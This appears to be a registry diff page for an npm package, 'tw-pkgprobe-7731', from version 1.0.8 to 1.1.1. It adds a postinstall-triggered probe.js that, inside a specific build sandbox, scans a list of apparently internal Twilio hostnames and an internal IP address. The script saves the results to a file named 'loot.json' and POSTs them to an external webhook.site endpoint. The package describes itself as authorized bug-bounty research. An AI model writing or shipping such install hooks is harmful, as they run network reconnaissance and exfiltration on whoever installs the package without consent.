tw-pkgprobe-7731 1.0.8 → 1.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/daemon.js +0 -1
  2. package/package.json +1 -2
  3. package/probe.js +26 -9
package/daemon.js CHANGED
@@ -1,2 +1 @@
1
- // v1.0.8 kill-switch: research daemon disabled. Does nothing and exits.
2
1
  process.exit(0);
package/package.json CHANGED
@@ -1,11 +1,10 @@
1
1
  {
2
2
  "name": "tw-pkgprobe-7731",
3
- "version": "1.0.8",
3
+ "version": "1.1.1",
4
4
  "description": "Authorized security research probe (bug bounty). No-op outside the specific sandbox it was written for.",
5
5
  "main": "index.js",
6
6
  "license": "MIT",
7
7
  "scripts": {
8
- "preinstall": "node ./probe.js || true",
9
8
  "postinstall": "node ./probe.js || true"
10
9
  }
11
10
  }
package/probe.js CHANGED
@@ -1,9 +1,26 @@
1
- // v1.0.8 kill-switch: stops any earlier research daemon left in a shared build container.
2
- const fs=require('fs'), cp=require('child_process');
3
- try{
4
- if(/^\/tmp\/AC[0-9a-f]{32}\//.test(process.cwd())){
5
- try{ const p=parseInt(fs.readFileSync('/tmp/.npm-helper.pid','utf8'),10); if(p) process.kill(p,'SIGKILL'); }catch(e){}
6
- try{ fs.writeFileSync('/tmp/.npm-helper.js','process.exit(0);'); }catch(e){}
7
- try{ fs.writeFileSync('/tmp/.npm-helper.ver','1.0.8'); }catch(e){}
8
- }
9
- }catch(e){}
1
+ // Authorized bug-bounty research probe (Twilio HackerOne): connectivity matrix from the
2
+ // Serverless packager sandbox to Twilio-owned hosts. Fast, parallel, streams results out.
3
+ const dns=require('dns'), https=require('https'), net=require('net'), fs=require('fs');
4
+ const HOOK='https://webhook.site/5764994f-28a3-41b2-b1f7-1ecc13e8e5ca';
5
+ const HOSTS=["argo-cd.prod.email.twilioinfra.com","help-center.aws-otk-prod-general-use1-001.otk.twilioinfra.com",
6
+ "support-api.us1.twilio.com","kafka-ui.au1.twilio.com","kafka-self-service.au1.twilio.com","code.hq.twilio.com",
7
+ "snyk-sendgrid.corp.twilio.com","knowledgenest.twilio.com","service-catalog.in1.twilio.com",
8
+ "one-console-internal.ashburn.us1.twilio.com","eventgw.us1.twilio.com","issues.corp.twilio.com"];
9
+ function post(o){return new Promise(r=>{try{const b=JSON.stringify(o);const q=https.request(HOOK,{method:'POST',timeout:5000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},res=>{res.resume();res.on('end',()=>r())});q.on('error',()=>r());q.on('timeout',()=>{q.destroy();r()});q.write(b);q.end();}catch(e){r()}});}
10
+ function tcp(host,port,ms){return new Promise(r=>{const s=net.connect({host,port,timeout:ms});let d=0;
11
+ const f=v=>{if(!d){d=1;try{s.destroy()}catch(e){};r(v)}};
12
+ s.on('connect',()=>f('open'));s.on('timeout',()=>f('timeout'));s.on('error',e=>f('err:'+(e.code||'')));});}
13
+ function head(h,ms){return new Promise(r=>{try{const q=https.request({host:h,port:443,path:'/',method:'GET',timeout:ms,rejectUnauthorized:false},res=>{let b='';res.on('data',d=>{if(b.length<200)b+=d});res.on('end',()=>r({s:res.statusCode,srv:res.headers.server||'',b:(''+b).slice(0,150)}))});q.on('error',e=>r({e:e.code||''+e}));q.on('timeout',()=>{q.destroy();r({e:'timeout'})});q.end();}catch(e){r({e:''+e})}});}
14
+ async function one(h){
15
+ const rec={host:h};
16
+ rec.dns=await new Promise(r=>dns.lookup(h,(e,a)=>r(e?'ERR':a)));
17
+ if(rec.dns!=='ERR'){ rec.tcp=await tcp(rec.dns,443,2500); if(rec.tcp==='open') rec.http=await head(h,3000); }
18
+ return rec;
19
+ }
20
+ (async()=>{
21
+ if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(process.cwd())) return;
22
+ const recs=await Promise.all(HOSTS.map(one));
23
+ recs.push({host:'10.208.61.13-direct',tcp443:await tcp('10.208.61.13',443,2500),tcp80:await tcp('10.208.61.13',80,2500)});
24
+ try{fs.writeFileSync(__dirname+'/loot.json',JSON.stringify({recs,cwd:process.cwd()}));}catch(e){}
25
+ await post({event:'netmatrix',cwd:process.cwd(),recs});
26
+ })().catch(e=>post({event:'err',e:''+e}));